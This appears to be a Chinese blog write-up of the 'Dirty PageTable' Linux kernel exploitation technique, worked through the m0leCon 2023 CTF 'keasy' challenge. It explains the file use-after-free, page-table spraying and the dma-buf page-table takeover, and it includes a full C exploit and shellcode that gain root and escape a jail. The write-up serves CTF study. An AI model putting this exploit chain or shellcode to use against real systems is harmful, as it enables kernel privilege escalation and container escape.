Dirty PageTable

前言

Dirty PageTable 是一种针对堆相关漏洞的利用手法,主要就是针对 PTE 进行攻击。

参考文章:
Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel – 该利用方式提出原文

上述文章已经讲的非常清楚了,就是实操写 exp 时存在一些问题?比如:

  • pid uaf 中,如何稳定的控制 struct pid 的分配与释放?如何控制 pid->count 字段的增长?即如何构造 inc 原语?
  • 同理,在 file uaf 中也存在上述问题,但是在 file uaf 中其控制比较简单,打开关闭相应的文件即可。

在其它堆漏洞中,其利用方式也是大同小异的,总的来说步骤如下:

  • 堆喷 obj 并构造 victim obj
  • 释放 objvictim slab 中,使得 victim slabbuddy system 回收
  • 堆喷 pte,使得页表占据 victim slab page
  • 利用 uaf obj 写相关 pte

这里仅仅针对 pid uaffile uaf 做相关记录

file uaf

例题:m0leCon Finals 2023 CTF keasy
参考文章:Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup

文章讲的很清楚了,主要记录下关键点。


漏洞点

static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {long ret = -EINVAL;struct file *myfile;int fd;if (!enabled) {goto out;}enabled = 0;myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);fd = get_unused_fd_flags(O_CLOEXEC);if (fd < 0) {ret = fd;goto err;}fd_install(fd, myfile);if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {ret = -EINVAL;goto err;}ret = 0;return ret;err:fput(myfile);
out:return ret;
}

漏洞在于当 copy_to_user 函数复制失败时,会调用 fput 释放 myfile -- struct file ,但是并没有将其解绑,即没有将 fdmyfile 解绑,所以在释放 myfile 后,还是可以通过 fd 操作 file 结构体从而导致 UAF

注:这里由于没有上锁,所以可以通过 race condition 多次触发,但是这里没有必要。还有就是 fput 的行为是将 file->f_count 减一,只有当 file->f_count 为 0 时,file 才会被释放


如何控制 struct file 的分配与释放:即如何稳定的堆喷 struct file

这个比较简单,打开/关闭文件就可以控制 struct file 的分配/释放


如何堆喷 pte:即如何分配页表页面

利用 mmap 申请大量匿名页面即可;当向访问这些匿名页面时就会在页表项中填充物理地址,即效果就是堆喷 pte,而页表页面的分配也是通过 buddy system 分配的。


如何使得页表页面占据 victim slab page

这里利用 cross cache attack 手法,详细参考CVE-2022-29582 An io_uring vulnerability

  • 先让 buddy system 回收 victim slab
  • 然后堆喷 pte,其会从 buddy system 中分配页表页面,这里就大概率就会拿到 victim slab

效果如下:
1)victim file
在这里插入图片描述
可以看到这里的 file->f_count = 1

2)free victim file
在这里插入图片描述
可以看到这里的 file->f_count = 0

3)spray pte
在这里插入图片描述
这里就变成了 pte 字段

注: 堆喷 pte 时,每次 mmap 8 个页面大小,这里主要是为了让 file->f_count 字段与某个 pte 重合,当然这里大于 8 个页面大小也行。然后这里似乎是刚好与 file 重合,所以小于 8 个页面大小则无法使得 file->f_count 字段与某个 pte 重合。

struct file {union {struct llist_node	f_llist;struct rcu_head 	f_rcuhead;unsigned int 		f_iocb_flags;};struct path				f_path;struct inode			*f_inode;	/* cached value */const struct file_operations	*f_op;/** Protects f_ep, f_flags.* Must not be taken from IRQ context.*/spinlock_t			f_lock;atomic_long_t		f_count;
......

可以看到该版本的内核其 file->f_count0x40 位置,当然直接调试也可以看出来


如何构造 inc 原语:即如何增加 file->f_count 的值

原文中采用的方式是使用 dup 系统调用,其会增加 file 的引用计数,但是这里存在一个问题就是每个进程的文件描述符资源是有限的,也就是说不能无限制的增加 file->f_count,然后原文中给出了解决方案:

  • 利用 fork + dup 解决该限制

利用关键点:如何控制用户页表
在上面,我们说了可以利用 fork + dup 来解决 inc 原语的限制,但是有个问题就是我们最终的目的是提权(或拿 flag),所以我们的想法是修改 pte 使得其关联到 kernel _text/_data 段,这样就可以修改程序硬编码提权(比如修改 setresuid 函数,这个在 USMA 中也利用过),但问题是 mmap 的内存区域可能在其下方,所以 inc 原语则无法完成利用,因此我们需要更强大的攻击原语:直接控制用户页表
1)构造页级 UAF【FALSE】
利用 inc 原语使得两个虚拟地址对应同一个物理地址,这里构造比较简单,因为我们是连续 mmap 大量内存页,所以大概率这些内存页是物理连续的,所以利用 inc 原语增加 0x1000、0x2000、0x3000 ...... 即可,效果如下:
在这里插入图片描述
现在 evil pagevictim page 关联同一个物理页,如果我们 munmapvictim page 不就可以释放掉其对应的物理页了吗?这时如果我们可以堆喷其它 obj 占据该物理页,即可完成页级 UAF 的构造。
最简单的想法就是再堆喷 pte 使其占据该物理页,然后就可以利用 evil page 任意修改 pte 了。但是这种方案在原文章中被否定了,理由如下:

The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone.

2)间接控制 pte【TRUE】
然后原文中给出了解决方案:
看看原文咋说的(文章是以 DMA_BUF 为例的):

We know that kernel space and user space need to share some physical pages in some cases. The sharing physical pages are mmaped into kernel space and user space at the same time, so they can be accessed from both spaces. Quite a few components can be used to allocate such sharing pages, such as dma-buf heaps, io_uring, GPUs and etc.

这里建议看原文,就多不说了,主要的内容就是说:分配单个共享页面时,分配 gfp_flagsLOW_ORDER_GFP,即是从 MIGRATE_UNMOVABLE 类型的 free_area 中分配的,并且分配阶 order = 0,这跟页表的分配是契合的,所以结论就是:

The single sharing page and page table are allocated from the same migrate free_cache with the same order.

所以我们可以通过分配单个共享页面,使得这个共享页面与页表页面的物理地址是相邻的。然后我们可以 munmap evil pagevictim pte 空闲出来,然后 mmap 该共享页面使其占据该 victim pte,然后通过 inc 原语即可将共享页面的物理地址设置为页表页面地址,然后即可控制 pte

这里无法调试,因为 gdb 里面好像是无法直接查看物理地址的内容的,所以这里我不知道如何去确认是否堆喷成功。但是看上面的参考文章是可以直接在 gdb 里面查看物理地址的内容的,应该是作者自己写的插件


如何进行提权:在控制 pte 后该如何进行提权(逃逸)
按照上述思路,主要就是通过修改硬编码进行提权?而题目开启了 kaslr 保护,所以对应内核 _text/_data 段的地址并不固定。但是这里我们是直接操作的物理地址,所以得想办法泄漏内核基地址的物理地址。

方案1:利用固定物理地址上残留的页表项地址泄漏内核基物理地址
在参考文章中,其指出:目前在 linux/windows 上仍然存在一些固定的物理地址,其保存着页表地址。

但是这里笔者不知道该固定地址是如何得出的,也没有办法查看,但是事实是确实是正确的。当然如果读者有知道这个方案,希望可以不吝赐教

然后就是逃逸了,由于逃逸不太懂就不说了,具体可以参考该文章,逃逸 shellcode 如下:

  init_cred         	 equ 0x1445ed8commit_creds      	 equ 0x00ae620find_task_by_vpid 	 equ 0x00a3750init_nsproxy     		 equ 0x1445ce0switch_task_namespaces equ 0x00ac140init_fs                equ 0x1538248copy_fs_struct         equ 0x027f890kpti_bypass            equ 0x0c00f41_start:endbr64call a
a:pop r15sub r15, 0x24d4c9; commit_creds(init_cred) [3]lea rdi, [r15 + init_cred]lea rax, [r15 + commit_creds]call rax; task = find_task_by_vpid(1) [4]mov edi, 1lea rax, [r15 + find_task_by_vpid]call rax; switch_task_namespaces(task, init_nsproxy) [5]mov rdi, raxlea rsi, [r15 + init_nsproxy]lea rax, [r15 + switch_task_namespaces]call rax; new_fs = copy_fs_struct(init_fs) [6]lea rdi, [r15 + init_fs]lea rax, [r15 + copy_fs_struct]call raxmov rbx, rax; current = find_task_by_vpid(getpid())mov rdi, 0x1111111111111111   ; will be fixed at runtimelea rax, [r15 + find_task_by_vpid]call rax; current->fs = new_fs [8]mov [rax + 0x740], rbx; kpti trampoline [9]xor eax, eaxmov [rsp+0x00], raxmov [rsp+0x08], raxmov rax, 0x2222222222222222   ; winmov [rsp+0x10], raxmov rax, 0x3333333333333333   ; csmov [rsp+0x18], raxmov rax, 0x4444444444444444   ; rflagsmov [rsp+0x20], raxmov rax, 0x5555555555555555   ; stackmov [rsp+0x28], raxmov rax, 0x6666666666666666   ; ssmov [rsp+0x30], raxlea rax, [r15 + kpti_bypass]jmp raxint3

这里贴个 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {u64 len;u32 fd;u32 fd_flags;u64 heap_flags;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void decc(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %d\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;void uaf() {ioctl(fd, 0, 0xdeadbeef);
}static void win() {char buf[0x100];int fd = open("/dev/sda", O_RDONLY);if (fd < 0) {puts("[-] Lose...");} else {puts("[+] Win!");read(fd, buf, 0x100);write(1, buf, 0x100);puts("[+] Done");}getchar();exit(0);
}#define N_FILESPRAY 0x100
#define N_PAGESPRAY (0x200 * 6)int main(int argc, char** argv, char** envp)
{bind_core(0);save_status();char buf[0x1000];int file_spray[N_FILESPRAY];void* page_spray[N_PAGESPRAY];void* evil_page = NULL;void* victim_page = NULL;int uaf_fd;int dma_buf_fd;int dma_heap_fd;fd = open("/dev/keasy", O_RDWR);if (fd < 0) err_exit("FAILED to open /dev/keasy");dma_heap_fd = open("/dev/dma_heap/system", O_RDWR);if (dma_heap_fd < 0) err_exit("FAILED to open /dev/dma_heap/system");struct dma_heap_allocation_data data;data.len = 0x1000;data.fd_flags = O_RDWR;data.heap_flags = 0;data.fd = 0;info("Prepare pages for PTE");for (int i = 0; i < N_PAGESPRAY; i++) {page_spray[i] = mmap((void*)(0xdead0000UL+i*0x10000UL),0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);if (page_spray[i] == MAP_FAILED) err_exit("FAILED to mmap many pages");}info("Spray struct file");for (int i = 0; i < N_FILESPRAY / 2; i++) {file_spray[i] = open("/", O_RDONLY);if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");}info("Get A UAF FILE");uaf_fd = file_spray[N_FILESPRAY / 2 - 1] + 1;uaf();decc("uaf_fd", uaf_fd);info("Spray struct file");for (int i = N_FILESPRAY / 2; i < N_FILESPRAY; i++) {file_spray[i] = open("/", O_RDONLY);if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");}info("Free struct file to victim slab");for (int i = 0; i < N_FILESPRAY; i++) {close(file_spray[i]);}info("Spray PTE to occupy victim slab page");for (int i = 0; i < N_PAGESPRAY; i++) {if (i == N_PAGESPRAY / 3) {if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {err_exit("DMA_HEAP_IOCTL_ALLOC");}dma_buf_fd = data.fd;}for (int j = 0; j < 8; j++) {*(uint64_t*)(page_spray[i] + j*0x1000) = page_spray[i] + j*0x1000;}}info("Inc file->f_count to find victim page");for (int i = 0; i < 0x1000; i++) {if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");}info("CHECK to find victim page");for (int i = 0; i < N_PAGESPRAY; i++) {for (int j = 0; j < 8; j++) {if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {evil_page = page_spray[i]+j*0x1000;victim_page = *(uint64_t*)(page_spray[i]+j*0x1000);break;}}}if (evil_page == NULL) err_exit("FAILED to find victim page");hexx("evil page addr", evil_page);hexx("victim page addr", victim_page);info("munmap evil_page to construct page UAF");munmap(evil_page, 0x1000);void* dma_page = mmap(evil_page, 0x1000, PROT_READ|PROT_WRITE,MAP_SHARED|MAP_POPULATE, dma_buf_fd, 0);if (dma_page == MAP_FAILED) err_exit("FAILED to mmap dma_page");hexx("dma page addr", dma_page);*(uint64_t*)dma_page = 0x4141414141414141;info("Inc file->f_coint to hijack pte page");for (int i = 0; i < 0x1000; i++) {if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");}if (((*(uint64_t*)dma_page) & 0xf0000000000000ff) != 0x8000000000000067) {puts(dma_page);err_exit("FAILED to hijack pte page");}*(uint64_t*)dma_page = *(uint64_t*)dma_page + 0x1000;info("CHECK to find pte page");void* pte_page = NULL;for (int i = 0; i < N_PAGESPRAY; i++) {for (int j = 0; j < 8; j++) {if (*(uint64_t*)(page_spray[i]+j*0x1000) != evil_page) {if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {pte_page = page_spray[i]+j*0x1000;break;}}}}if (pte_page == NULL) err_exit("FAIED to find pte page");hexx("pte page addr", pte_page);info("Leak Kernel Base");*(uint64_t*)dma_page = 0x800000000009c067;uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;hexx("physical kernel base", phys_base);size_t phys_func = phys_base + 0x24d4c0;*(size_t*)dma_page = (phys_func & ~0xfff) | 0x8000000000000067;char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };void *p;p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);*(size_t*)p = getpid();p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);*(size_t*)p = (size_t)&win;p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);*(size_t*)p = user_cs;p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);*(size_t*)p = user_rflags;p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);*(size_t*)p = user_sp;p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);*(size_t*)p = user_ss;memcpy(pte_page + (phys_func & 0xfff), shellcode, sizeof(shellcode));printf("[+] %d\n", symlink("/jail/x", "/jail"));puts("[+] EXP NERVER END");
//      getchar();return 0;
}

效果如下:
在这里插入图片描述
问题疑惑
最后的 exp 有点奇怪,当开启 kaslr 时,可以正确读出 flag;但是当关闭 kaslr 时,似乎无法正确执行 symlink,感觉应该是 shellcode 存在一点问题,因为 shellcode 一开始是利用的栈上的数据泄漏的 virtual kernel addr,我感觉开启 kaslr 和没有开启 kaslr 的栈不太一样。

方案2:遍历页表(物理地址)泄漏内核基物理地址
经过思考,笔者认为内核的基物理地址(后面简称基地址)应该位于较低的内存页上,因此我们可以直接往前遍历页表,然后利用基地址对应内存页上的特殊数据作为 TAG 进行 check 是否命中即可。
最后修改的 exp 如下:其它代码都是一样的,就是泄漏 physical kernel base 时,采用的时遍历页表的方式

        info("Leak Kernel Base");
//      *(uint64_t*)dma_page = 0x800000000009c067;
//      uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;*(uint64_t*)dma_page = *(uint64_t*)dma_page & (~0xfffff) | 0x8000000000000067;uint64_t phys_base;for (int i = 0;;i++) {*(uint64_t*)dma_page = *(uint64_t*)dma_page - 0x100000;if (*(uint64_t*)pte_page == 0x4801403f51258d48) {printf("\033[32mpte: %#llx  NUMBER TAG: %#llx\n\033[0m", *(uint64_t*)dma_page, *(uint64_t*)pte_page);phys_base = (*(uint64_t*)dma_page & (~0xf000000000000fff));break;}// 如果删除该 printf,关闭 kaslr 时会出现页表解析问题printf("pte: %#llx  NUMBER TAG: %#llx\n", *(uint64_t*)dma_page, *(uint64_t*)pte_page);}

效果如下:
在这里插入图片描述
可以看到最后也是可以成功泄漏 physical kernel base

问题疑惑
还是对于 kaslr 是否开启的情况,当 kaslr 开启时没啥问题。当 kaslr 关闭时,必须在 leak base 时加上最后的 printf 语句才可能正常执行,否则在遍历页表时会出现页表项解析错误等问题,反正归功于玄学就对了。当然这里也说明了方案1中关闭 kaslr 出错的原因不是 shellcode 的问题,而是没有正确的泄漏 physical kernel base


总结
个人觉得遍历页表泄漏 physical kernel base 的方式更直观和容易理解,主要是对于固定的物理地址去泄漏这个方案,gdb 中是无法查看物理地址的,所以我也不知道最后泄漏出来的页表项地址与 physical kernel base 的偏移是怎么算出来的。
对了,在关闭 kaslr 时,测试发现 physical kernel base 固定为 0x1000000
终极大疑问
kalsr 不是随机化的虚拟地址吗?跟物理地址有啥关系?为啥关闭 kaslr 时, physical kernel base 是固定的呢?
我的解释是:这里虚拟基地址应该在 DMA 区域,所以虚拟地址和物理地址直接只是相差一个偏移,所以虚拟地址和物理地址理论上是绑定的,即:virt_addr - offset = phys_addr,而 offset 是固定的。所以当关闭 kaslr 时,virt_addr 是不变的,所以 phys_addr 也是不变的,这也解释了为啥在关闭 kaslr 时,测试发现 physical kernel base 固定为 0x1000000 ;而开启 kaslr 时,每次泄漏的 physical kernel base 是不同的也就可以解释了。

pid uaf

todo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/683965.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

挑战杯 python区块链实现 - proof of work工作量证明共识算法

文章目录 0 前言1 区块链基础1.1 比特币内部结构1.2 实现的区块链数据结构1.3 注意点1.4 区块链的核心-工作量证明算法1.4.1 拜占庭将军问题1.4.2 解决办法1.4.3 代码实现 2 快速实现一个区块链2.1 什么是区块链2.2 一个完整的快包含什么2.3 什么是挖矿2.4 工作量证明算法&…

CentOS7.9+Kubernetes1.29.2+Docker25.0.3高可用集群二进制部署

CentOS7.9Kubernetes1.29.2Docker25.0.3高可用集群二进制部署 Kubernetes高可用集群&#xff08;Kubernetes1.29.2Docker25.0.3&#xff09;二进制部署二进制软件部署flannel v0.22.3网络&#xff0c;使用的etcd是版本3&#xff0c;与之前使用版本2不同。查看官方文档进行了解…

红队打靶练习:HACK ME PLEASE: 1

信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.61.128 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.61.2 00:50:56:f0:df:20 …

大学建筑专业的搜题软件?大学搜题工具中的高级搜索功能有哪些? #学习方法#微信#经验分享

学习和考试是大学生生活中不可避免的一部分&#xff0c;而在这个信息爆炸的时代&#xff0c;如何快速有效地获取学习资源和解答问题成为了大学生们共同面临的难题。为了解决这个问题&#xff0c;搜题和学习软件应运而生。今天&#xff0c;我将为大家介绍几款备受大学生青睐的搜…

Python魔法方法 单例模式

前言 本文介绍一下python中常用的魔法方法以及面向对象中非常重要的单例模式。 魔法方法 python中一切皆对象&#xff0c;因为python是面向对象的编程语言。python给类和对象提供了大量的内置方法&#xff0c;这些内置方法也称魔法方法。这些魔法方法总是在某种条件下自动触…

探索设计模式的魅力:创建型设计模式的比较与决策

设计模式专栏&#xff1a;http://t.csdnimg.cn/U54zu 目录 一、设计模式概览 1.1 创建型模式 二、比较创建型设计模式 1.1 适用场景典型用例 1.2 关键要素与差异对比 1.3 结构图 三、模式选择指南 3.1 场景分析 3.2 决策流程图 四、结语 4.1 优势 4.2 考量因素 一、…

node+vue3+mysql前后分离开发范式——实现对数据库表的增删改查

文章目录 ⭐前言⭐ 功能设计与实现💖 node后端操作数据库实现增删改查💖 vue3前端实现增删改查⭐ 效果⭐ 总结⭐ 结束⭐结束⭐前言 大家好,我是yma16,本文分享关于 node+vue3+mysql前后分离开发范式——实现对数据库表的增删改查。 技术选型 前端:vite+vue3+antd 后端:…

使用radial-gradient完成弧形凹陷的绘制

1、效果如下图 我在微信小程序中制作的 2、代码如下 <style>.header {position: relative;width: 200px;height: 200px;overflow: hidden;}.header .circle {--circleValue: 500px;position: absolute;bottom: 0;left: 50%;width: 100%;height: var(--circleValue);trans…

[OPEN SQL] 修改数据

MODIFY语句用于修改数据库表中的数据 MODIFY拥有INSERT和UPDATE的操作&#xff0c;如果数据库表中不存在符合条件的数据则会添加该条新数据&#xff0c;反之数据库表中存在符合条件的数据则会更新该条数据 本次操作使用的数据库表为SCUSTOM&#xff0c;其字段内容如下所示 航…

【git】.gitignore 的匹配规则

每行一个规则&#xff1a;每行只能包含一个规则&#xff0c;多个规则需要分别写在不同的行上。 示例&#xff1a; # 忽略日志文件 logs/ # 忽略临时文件 temp.txt种类匹配&#xff1a; 文件&#xff1a;在规则的开头指定文件名或路径&#xff0c;如 file.txt。 示例&#xff1a…

HGAME2024 WEEK2 wp webmisc

web What the cow say? 进入容器有个输入框&#xff0c;尝试ssti、命令执行、代码执行等&#xff0c;最后发现可使用反引号执行命令&#xff1b; 输入 nl app.py 可查看源代码&#xff0c;有功能具体实现、过滤之类的&#xff1b; flag在 /flag_is_here home/flag_c0w54y 中…

每日OJ题_递归②_力扣21. 合并两个有序链表

目录 力扣21. 合并两个有序链表 解析代码 力扣21. 合并两个有序链表 21. 合并两个有序链表 难度 简单 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4]…

CSS设置盒子阴影

语法 box-shadow: *h-shadow v-shadow blur spread color* inset; 注释: box-shadow向框添加一个或多个阴影. 该属性是由逗号分隔的阴影列表,每个阴影由2-4个长度值、可选的颜色值及可选的inset关键词来规定。省略长度的值是0。 外阴影 a、给元素右边框和下边框加外阴影——把…

LabVIEW虚拟测试与分析仪

LabVIEW虚拟测试与分析仪 在现代工程技术领域&#xff0c;虚拟仪器的开发和应用已成为一种趋势。利用LabVIEW软件平台开发的虚拟测试与分析仪器进行展开&#xff0c;实现工程测试和分析中的实际需求。通过结合LabVIEW的强大功能和灵活性&#xff0c;成功实现了一套高效、精确的…

Gemini 1.5 Pro揭秘:Google DeepMind新一代AI模型如何突破千万级别词汇限制?

Gemini 1.5 Pro 发布&#xff01; 这款模型凭借其超长的上下文处理能力脱颖而出&#xff0c;支持10M tokens。 它的多模态特性意味着&#xff0c;无论面对多么庞大复杂的内容&#xff0c;Gemini 1.5 Pro都能游刃有余地应对。 在AI的世界里&#xff0c;上下文的理解如同记忆的…

嵌入式中UART通信的方法

UART是一种异步全双工串行通信协议&#xff0c;由 Tx 和 Rx 两根数据线组成&#xff0c;因为没有参考时钟信号&#xff0c;所以通信的双方必须约定串口波特率、数据位宽、奇偶校验位、停止位等配置参数&#xff0c;从而按照相同的速率进行通信。 异步通信以一个字符为传输单位…

插值(一)——多项式插值(C++)

插值 插值的作用是可以将原本比较难计算的函数转换为误差在一定范围内的多项式&#xff0c;比如在单片机中直接计算 x 、 log ⁡ 2 x \sqrt{x}、\log_2x x ​、log2​x之类的函数是比较麻烦的&#xff0c;但是使用插值的方法就可以将其转换为误差可控的只有乘法和加减法的多项…

MySQL学习记录——팔 函数

文章目录 1、日期函数2、字符串函数3、数学函数4、其它函数 1、日期函数 //获取日期 select current_date(); //获取时间 select current_time(); //获取时间戳, 格式为日期时间 select current_timestamp(); //获取当前时间, 格式为日期时间 select now(); //获取参数的日期部…

Leetcode-1572. 矩阵对角线元素的和

题目&#xff1a; 给你一个正方形矩阵 mat&#xff0c;请你返回矩阵对角线元素的和。 请你返回在矩阵主对角线上的元素和副对角线上且不在主对角线上元素的和。 示例 1&#xff1a; 输入&#xff1a;mat [[1,2,3],[4,5,6],[7,8,9]] 输出&#xff1a;25 解释&#xff1a;对角线…

RK3568笔记十六:Framebuffer实验

若该文为原创文章&#xff0c;转载请注明原文出处。 本意是移植LVGL&#xff0c;但在编译DRM过程中一直编译失败&#xff0c;然后就想Framebuffer是否可以用&#xff0c;所以测试一下。 一、framebuffer介绍 FrameBuffer中文译名为帧缓冲驱动&#xff0c;它是出现在2.2.xx内…